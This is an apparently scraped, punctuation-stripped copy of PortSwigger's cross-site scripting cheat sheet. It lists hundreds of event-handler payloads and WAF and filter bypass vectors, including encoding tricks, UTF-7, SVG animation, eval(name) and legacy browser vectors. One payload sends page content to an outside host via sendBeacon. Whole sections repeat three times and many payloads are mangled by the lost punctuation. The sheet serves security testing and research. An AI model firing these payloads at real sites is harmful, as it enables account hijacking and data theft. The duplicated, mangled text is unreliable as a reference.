Cross-site scripting (XSS) cheat sheet This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector. This cheat sheet is regularly updated in 2020. Last updated: Fri, 07 Aug 2020 14:49:08 +0000. Table of contents Event handlers Event handlers that do not require user interaction Event: Description: Code: onactivate Fires when the element is activated <xss id=x tabindex=1 onactivate=alert(1)></xss> Compatibility: onafterprint Fires after the page is printed <body onafterprint=alert(1)> Compatibility: onafterscriptexecute Fires after script is executed <xss onafterscriptexecute=alert(1)><script>1</script> Compatibility: onanimationcancel Fires when a CSS animation cancels <style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xss id=x style="position:absolute;" onanimationcancel="alert(1)"></xss> Compatibility: onanimationend Fires when a CSS animation ends <style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss> Compatibility: onanimationiteration Fires when a CSS animation repeats <style>@keyframes slidein {}</style><xss style="animation- duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss> Compatibility: onanimationstart Fires when a CSS animation starts <style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss> Compatibility: onbeforeactivate Fires before the element is activated <xss id=x tabindex=1 onbeforeactivate=alert(1)></xss> Compatibility: onbeforedeactivate Fires before the element is deactivated <xss id=x tabindex=1 onbeforedeactivate=alert(1)></xss><input autofocus> Compatibility: onbeforeprint Fires before the page is printed <body onbeforeprint=alert(1)> Compatibility: onbeforescriptexecute Fires before script is executed <xss onbeforescriptexecute=alert(1)><script>1</script> Compatibility:
Transcript
Cross-site scripting (XSS) cheat sheetThis cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters You can select vectors by the event tag orbrowser and a proof of concept is included for every vector This cheat sheet is regularly updated in 2020 Last updated Fri 07 Aug 2020 144908 +0000
Table of contents
Event handlers
Event handlers that do not require user interaction
Event Description Code
onactivate
Fires when the element is activated ltxss id=x tabindex=1 onactivate=alert(1)gtltxssgtCompatibility
onafterprint
Fires after the page is printed ltbody onafterprint=alert(1)gtCompatibility
onafterscriptexecute
Fires after script is executed ltxss onafterscriptexecute=alert(1)gtltscriptgt1ltscriptgtCompatibility
onanimationcancel
Fires when a CSS animation cancels ltstylegtkeyframes xfrom left0to left 1000pxtarget animation10s ease-in-out 0s 1 xltstylegtltxss id=x style=positionabsolute onanimationcancel=alert(1)gtltxssgt
Compatibility
onanimationend
Fires when a CSS animation ends ltstylegtkeyframes xltstylegtltxss style=animation-namex onanimationend=alert(1)gtltxssgt
Compatibility
onanimationiteration
Fires when a CSS animation repeats ltstylegtkeyframes slidein ltstylegtltxss style=animation-duration1sanimation-nameslideinanimation-iteration-count2 onanimationiteration=alert(1)gtltxssgt
Compatibility
onanimationstart
Fires when a CSS animation starts ltstylegtkeyframes xltstylegtltxss style=animation-namex onanimationstart=alert(1)gtltxssgt
Compatibility
onbeforeactivate
Fires before the element is activated ltxss id=x tabindex=1 onbeforeactivate=alert(1)gtltxssgtCompatibility
onbeforedeactivate
Fires before the element is deactivated ltxss id=x tabindex=1 onbeforedeactivate=alert(1)gtltxssgtltinput autofocusgtCompatibility
onbeforeprint
Fires before the page is printed ltbody onbeforeprint=alert(1)gtCompatibility
onbeforescriptexecute
Fires before script is executed ltxss onbeforescriptexecute=alert(1)gtltscriptgt1ltscriptgtCompatibility
onbeforeunload
Fires after if the url changes ltbody onbeforeunload=navigatorsendBeacon(httpssslportswigger-labsnetdocumentbodyinnerHTML)gt
Compatibility
onbegin
Fires when a svg animation begins ltsvggtltanimate onbegin=alert(1) attributeName=x dur=1sgtCompatibility
onblur
Fires when an element loses focus lta onblur=alert(1) tabindex=1 id=xgtltagtltinput autofocusgtCompatibility
onbounce
Fires when the marquee bounces ltmarquee width=1 loop=1 onbounce=alert(1)gtXSSltmarqueegtCompatibility
oncanplay
Fires if the resource can be played ltaudio oncanplay=alert(1)gtltsource src=validaudiowav type=audiowavgtltaudiogt
Compatibility
oncanplaythrough
Fires when enough data has been loadedto play the resource all the way through
SVG animate tag using values ltsvggtltanimate xlinkhref=xss attributeName=href values=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
SVG animate tag using to ltsvggtltanimate xlinkhref=xss attributeName=href from=javascriptalert(1) to=1 gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
to 1 a id xss text x 20 y 20 XSS text a
SVG set tag ltsvggtltset xlinkhref=xss attributeName=href from= to=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
Data protocol inside script src ltscript src=datatextjavascriptalert(1)gtltscriptgt
SVG script href attribute without closing script tag ltsvggtltscript href=datatextjavascriptalert(1) gt
SVG use element ChromeFirefox ltsvggtltuse href=dataimagesvg+xmlltsvg id=x xmlns=httpwwww3org2000svg xmlnsxlink=httpwwww3org1999xlink width=100 height=100gtlta xlinkhref=javascriptalert(1)gtltrect x=0 y=0 width=100 height=100 gtltagtltsvggtxgtltusegtltsvggt
Import statement with data URL ltscriptgtimport(datatextjavascriptalert(1))ltscriptgt
Base tag with JavaScript protocol rewriting relativeURLS
Set windowname via target attribute in a ltbasegt tag ltbase target=alert(1)gtlta href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in base tagltagt
Set windowname via target attribute in a ltagt tag lta target=alert(1) href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in a tagltagt
Set windowname via usemap attribute in a ltimggttag
Set windowname via target attribute in a ltformgt tag ltform action=httpsubdomain1portswigger-labsnetxssxssphp target=alert(1)gtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit value=XSS via target in a formgtltformgt
Set windowname via formtarget attribute in altinputgt tag type submit
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type submitgtltformgt
Set windowname via formtarget attribute in altinputgt tag type image
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput name=1 type=image src=validimagepng formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type imagegtltformgt
Special tags
Redirect to a different domain ltmeta http-equiv=refresh content=0 url=portswigger-labsnetgt
Meta charset attribute UTF-7 ltmeta charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
Meta charset UTF-7 ltmeta http-equiv=Content-Type content=texthtml charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 1
+v8 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 2
+v9 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 3
+v+ +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 4
Decimal encoding with optional semi-colon lta href=amp106avascriptalert(1)gtXSSltagtlta href=amp106avascriptalert(1)gtXSSltagt
SVG script with HTML encoding ltsvggtltscriptgtamp97lert(1)ltscriptgtltsvggt ltsvggtltscriptgtampx61lert(1)ltscriptgtltsvggt ltsvggtltscriptgtalertampNewLine(1)ltscriptgtltsvggt ltsvggtltscriptgtx=ampquotalert(1)ltscriptgtltsvggt
Decimal encoding with padded zeros lta href=amp0000106avascriptalert(1)gtXSSltagt
Iframe srcdoc HTML encoded ltiframe srcdoc=ampltscriptampgtalertamplpar1amprparampltampsolscriptampgtgtltiframegt
Iframe JavaScript URL with HTML and URL encoding ltiframe src=javascriptampx25ampx33ampx43ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45ampx61ampx6campx65ampx72ampx74ampx28ampx31ampx29ampx25ampx33ampx43ampx25ampx32ampx46ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45gtltiframegt
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
onbeforeunload
Fires after if the url changes ltbody onbeforeunload=navigatorsendBeacon(httpssslportswigger-labsnetdocumentbodyinnerHTML)gt
Compatibility
onbegin
Fires when a svg animation begins ltsvggtltanimate onbegin=alert(1) attributeName=x dur=1sgtCompatibility
onblur
Fires when an element loses focus lta onblur=alert(1) tabindex=1 id=xgtltagtltinput autofocusgtCompatibility
onbounce
Fires when the marquee bounces ltmarquee width=1 loop=1 onbounce=alert(1)gtXSSltmarqueegtCompatibility
oncanplay
Fires if the resource can be played ltaudio oncanplay=alert(1)gtltsource src=validaudiowav type=audiowavgtltaudiogt
Compatibility
oncanplaythrough
Fires when enough data has been loadedto play the resource all the way through
SVG animate tag using values ltsvggtltanimate xlinkhref=xss attributeName=href values=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
SVG animate tag using to ltsvggtltanimate xlinkhref=xss attributeName=href from=javascriptalert(1) to=1 gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
to 1 a id xss text x 20 y 20 XSS text a
SVG set tag ltsvggtltset xlinkhref=xss attributeName=href from= to=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
Data protocol inside script src ltscript src=datatextjavascriptalert(1)gtltscriptgt
SVG script href attribute without closing script tag ltsvggtltscript href=datatextjavascriptalert(1) gt
SVG use element ChromeFirefox ltsvggtltuse href=dataimagesvg+xmlltsvg id=x xmlns=httpwwww3org2000svg xmlnsxlink=httpwwww3org1999xlink width=100 height=100gtlta xlinkhref=javascriptalert(1)gtltrect x=0 y=0 width=100 height=100 gtltagtltsvggtxgtltusegtltsvggt
Import statement with data URL ltscriptgtimport(datatextjavascriptalert(1))ltscriptgt
Base tag with JavaScript protocol rewriting relativeURLS
Set windowname via target attribute in a ltbasegt tag ltbase target=alert(1)gtlta href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in base tagltagt
Set windowname via target attribute in a ltagt tag lta target=alert(1) href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in a tagltagt
Set windowname via usemap attribute in a ltimggttag
Set windowname via target attribute in a ltformgt tag ltform action=httpsubdomain1portswigger-labsnetxssxssphp target=alert(1)gtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit value=XSS via target in a formgtltformgt
Set windowname via formtarget attribute in altinputgt tag type submit
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type submitgtltformgt
Set windowname via formtarget attribute in altinputgt tag type image
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput name=1 type=image src=validimagepng formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type imagegtltformgt
Special tags
Redirect to a different domain ltmeta http-equiv=refresh content=0 url=portswigger-labsnetgt
Meta charset attribute UTF-7 ltmeta charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
Meta charset UTF-7 ltmeta http-equiv=Content-Type content=texthtml charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 1
+v8 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 2
+v9 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 3
+v+ +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 4
Decimal encoding with optional semi-colon lta href=amp106avascriptalert(1)gtXSSltagtlta href=amp106avascriptalert(1)gtXSSltagt
SVG script with HTML encoding ltsvggtltscriptgtamp97lert(1)ltscriptgtltsvggt ltsvggtltscriptgtampx61lert(1)ltscriptgtltsvggt ltsvggtltscriptgtalertampNewLine(1)ltscriptgtltsvggt ltsvggtltscriptgtx=ampquotalert(1)ltscriptgtltsvggt
Decimal encoding with padded zeros lta href=amp0000106avascriptalert(1)gtXSSltagt
Iframe srcdoc HTML encoded ltiframe srcdoc=ampltscriptampgtalertamplpar1amprparampltampsolscriptampgtgtltiframegt
Iframe JavaScript URL with HTML and URL encoding ltiframe src=javascriptampx25ampx33ampx43ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45ampx61ampx6campx65ampx72ampx74ampx28ampx31ampx29ampx25ampx33ampx43ampx25ampx32ampx46ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45gtltiframegt
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
onfocusout
Fires when an element loses focus lta onfocusout=alert(1) tabindex=1 id=xgtltagtltinput autofocusgtCompatibility
onhashchange
Fires if the hash changes ltbody onhashchange=alert(1)gtCompatibility
onload
Fires when the element is loaded ltbody onload=alert(1)gtCompatibility
onloadeddata
Fires when the first frame is loaded ltaudio onloadeddata=alert(1)gtltsource src=validaudiowav type=audiowavgtltaudiogt
Compatibility
onloadedmetadata
Fires when the meta data is loaded ltaudio autoplay onloadedmetadata=alert(1)gt ltsource src=validaudiowav type=audiowavgtltaudiogt
Compatibility
onloadend
Fires when the element finishes loading ltimage src=validimagepng onloadend=alert(1)gtCompatibility
onloadstart
Fires when the element begins to load ltimage src=validimagepng onloadstart=alert(1)gtCompatibility
onmessage
Fires when message event is receivedfrom a postMessage call
ltbody onmessage=alert(1)gtCompatibility
onpageshow
Fires when the page is shown ltbody onpageshow=alert(1)gtCompatibility
onplay
Fires when the resource is played ltaudio autoplay onplay=alert(1)gtltsource src=validaudiowav type=audiowavgtltaudiogt
Compatibility
onplaying
Fires the resource is playing ltaudio autoplay onplaying=alert(1)gtltsource src=validaudiowav type=audiowavgtltaudiogt
Compatibility
onpopstate
Fires when the history changes ltbody onpopstate=alert(1)gtCompatibility
SVG animate tag using values ltsvggtltanimate xlinkhref=xss attributeName=href values=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
SVG animate tag using to ltsvggtltanimate xlinkhref=xss attributeName=href from=javascriptalert(1) to=1 gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
to 1 a id xss text x 20 y 20 XSS text a
SVG set tag ltsvggtltset xlinkhref=xss attributeName=href from= to=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
Data protocol inside script src ltscript src=datatextjavascriptalert(1)gtltscriptgt
SVG script href attribute without closing script tag ltsvggtltscript href=datatextjavascriptalert(1) gt
SVG use element ChromeFirefox ltsvggtltuse href=dataimagesvg+xmlltsvg id=x xmlns=httpwwww3org2000svg xmlnsxlink=httpwwww3org1999xlink width=100 height=100gtlta xlinkhref=javascriptalert(1)gtltrect x=0 y=0 width=100 height=100 gtltagtltsvggtxgtltusegtltsvggt
Import statement with data URL ltscriptgtimport(datatextjavascriptalert(1))ltscriptgt
Base tag with JavaScript protocol rewriting relativeURLS
Set windowname via target attribute in a ltbasegt tag ltbase target=alert(1)gtlta href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in base tagltagt
Set windowname via target attribute in a ltagt tag lta target=alert(1) href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in a tagltagt
Set windowname via usemap attribute in a ltimggttag
Set windowname via target attribute in a ltformgt tag ltform action=httpsubdomain1portswigger-labsnetxssxssphp target=alert(1)gtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit value=XSS via target in a formgtltformgt
Set windowname via formtarget attribute in altinputgt tag type submit
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type submitgtltformgt
Set windowname via formtarget attribute in altinputgt tag type image
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput name=1 type=image src=validimagepng formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type imagegtltformgt
Special tags
Redirect to a different domain ltmeta http-equiv=refresh content=0 url=portswigger-labsnetgt
Meta charset attribute UTF-7 ltmeta charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
Meta charset UTF-7 ltmeta http-equiv=Content-Type content=texthtml charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 1
+v8 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 2
+v9 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 3
+v+ +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 4
Decimal encoding with optional semi-colon lta href=amp106avascriptalert(1)gtXSSltagtlta href=amp106avascriptalert(1)gtXSSltagt
SVG script with HTML encoding ltsvggtltscriptgtamp97lert(1)ltscriptgtltsvggt ltsvggtltscriptgtampx61lert(1)ltscriptgtltsvggt ltsvggtltscriptgtalertampNewLine(1)ltscriptgtltsvggt ltsvggtltscriptgtx=ampquotalert(1)ltscriptgtltsvggt
Decimal encoding with padded zeros lta href=amp0000106avascriptalert(1)gtXSSltagt
Iframe srcdoc HTML encoded ltiframe srcdoc=ampltscriptampgtalertamplpar1amprparampltampsolscriptampgtgtltiframegt
Iframe JavaScript URL with HTML and URL encoding ltiframe src=javascriptampx25ampx33ampx43ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45ampx61ampx6campx65ampx72ampx74ampx28ampx31ampx29ampx25ampx33ampx43ampx25ampx32ampx46ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45gtltiframegt
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
